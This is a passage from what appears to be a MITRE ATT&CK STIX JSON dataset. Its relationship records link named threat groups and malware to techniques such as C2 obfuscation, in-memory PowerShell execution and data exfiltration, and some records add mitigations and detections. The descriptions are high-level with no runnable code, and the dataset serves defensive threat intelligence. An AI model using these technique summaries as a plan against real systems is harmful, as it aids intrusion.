2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f8f4546-9e1c-42c9-b76f-863e51d6cb2a","type":"relationship","created":"2020-06-09T15:33:13.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-09T13:34:40.033Z","description":"Routinely check user permissions to ensure only the expected users have the capability to create snapshots and backups.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f917518-2f54-479e-a008-cbf6bd6037c0","created":"2024-09-04T17:15:05.499Z","revoked":false,"external_references":[{"source_name":"Microsoft HAFNIUM March 2020","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:15:05.499Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) used [Covenant](https://attack.mitre.org/software/S1155) for command and control following compromise of internet-facing servers.(Citation: Microsoft HAFNIUM March 2020)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6f94bd08-b5cb-4e6e-ae10-f858a2e55e28","created":"2022-08-16T19:35:52.079Z","x_mitre_version":"0.1","external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Small Sieve](https://attack.mitre.org/software/S1035) can use Python scripts to execute commands.(Citation: NCSC GCHQ Small Sieve Jan 2022)","modified":"2022-08-16T19:35:52.079Z","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f950d42-13f2-48e0-9ecf-3c48d7562460","created":"2020-12-14T17:34:58.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:02:02.474Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) sends compromised victim information via HTTP.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f9916d0-70c3-4504-93cf-cd0e8dd7ead1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 MuddyWater Nov 2017"}],"modified":"2020-03-20T18:24:44.555Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) encoded C2 traffic with base64.(Citation: Unit 42 MuddyWater Nov 2017)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fa01dcb-e06c-4f8b-b6a2-c301f0198df4","type":"relationship","created":"2020-03-26T15:53:25.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T18:44:33.805Z","description":"Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fa3a8bd-3a66-4f48-9439-97e5ae3dcac9","type":"relationship","created":"2021-09-29T22:24:15.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.766Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has modified data timestamps to mimic files that are in the same folder on a compromised host.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fa7ec61-ea14-40d1-b023-d8fd18738da9","type":"relationship","created":"2020-02-12T15:02:01.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/cc771387.aspx","description":"Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.","source_name":"Microsoft Disable DCOM"}],"modified":"2021-06-23T18:58:33.169Z","description":"Consider disabling DCOM through Dcomcnfg.exe.(Citation: Microsoft Disable DCOM)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fa815b2-23dc-455f-b358-dacb4e30a073","type":"relationship","created":"2019-03-11T20:01:20.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.891Z","description":"[Empire](https://attack.mitre.org/software/S0363) can find shared drives on the local system.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fa90005-20f8-4d3f-a2c7-c5adb37ecbaa","created":"2024-06-27T20:47:59.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T20:49:24.843Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can self-delete from a compromised host if safety checks of C2 connectivity fail.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fabc88f-9582-4658-807c-7ec583edbd5e","created":"2024-01-22T21:36:38.195Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T21:36:38.195Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used a passive backdoor that receives commands with UDP packets.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fad7038-4d0f-48c3-937a-7128d4bf0592","created":"2023-03-03T20:32:52.649Z","revoked":false,"external_references":[{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T20:32:52.649Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has exfiltrated data from a compromised machine.(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fadb5dc-ba19-40da-8efc-a23fe7fdaac5","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for unexpected files with manipulated data in order to manipulate external outcomes or hide activity","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fb67c72-b963-415f-a0fc-dbd34c3442f2","created":"2024-01-23T19:30:25.874Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:30:25.874Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used compromised domain admin credentials to mount local network shares.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T14:53:03.884Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has performed local network configuration discovery using ipconfig.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fb86c58-666c-4a5f-bdd1-417a77761e6f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2020-03-23T16:15:33.771Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has connected to C2 servers through proxies.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fb99c55-5c27-4069-8348-2540f10848ba","created":"2022-06-01T18:30:01.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T14:46:04.536Z","description":"[Tarrask](https://attack.mitre.org/software/S1011) creates a scheduled task called “WinUpdate” to re-establish any dropped C2 connections.(Citation: Tarrask scheduled task)","relationship_type":"uses","source_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fbd8e04-ce24-4969-9f3e-2df874eceb04","created":"2024-03-15T18:04:26.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"},{"source_name":"SCILabs Malteiro Threat Overlap 2023","description":"SCILabs. (2023, October 8). URSA/Mispadu: Overlap analysis with other threats. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/ursa-mispadu-overlap-analysis-with-other-threats/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T14:27:33.331Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) uses a custom algorithm to obfuscate its internal strings and uses hardcoded keys.(Citation: ESET Security Mispadu Facebook Ads 2019)\n\n[Mispadu](https://attack.mitre.org/software/S1122) also uses encoded configuration files and has encoded payloads using Base64.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: SCILabs Malteiro 2021)(Citation: SCILabs Malteiro Threat Overlap 2023)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fc128ed-90f3-4933-8ad7-4fd4a04cb39f","created":"2020-05-13T19:06:23.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.211Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used RAdmin, a remote software tool used to remotely control workstations and ATMs.(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fc8e3dd-1bb7-4e76-8a8c-9e836f944488","created":"2023-01-13T20:56:37.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T20:31:03.786Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has established a network of fictitious social media accounts, including on Facebook and LinkedIn, to establish relationships with victims, often posing as an attractive woman.(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fd6a4ce-d14c-48ed-88c5-3997e67e0fd6","created":"2024-10-16T14:35:51.754Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T14:35:51.754Z","description":"Restrict access to potentially sensitive files that deal with authentication and/or authorization.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6fd94786-4ffe-4053-851b-ee62fa558652","created":"2022-12-22T19:39:38.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T19:45:13.524Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) can use `rundll32.exe` for execution of living off the land binaries (lolbin) such as `SHELL32.DLL`.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload information about all running processes to its C2 server.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6fdc3210-9754-4157-b386-8fcd680e732c","created":"2017-05-31T21:33:27.043Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Deep Panda](https://attack.mitre.org/groups/G0009) has used PowerShell scripts to download and execute programs in memory, without writing to disk.(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6feff8fd-f787-4afd-9503-93598e22f02b","created":"2024-08-08T20:23:58.181Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T20:23:58.182Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) can call the `GetSystemDirectoryW` API to locate the system directory.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ff34c78-2c85-4be5-b3db-0ec8543087d9","type":"relationship","created":"2020-06-29T03:41:07.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.611Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has the ability to use the Gmail web UI to receive commands and exfiltrate information.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 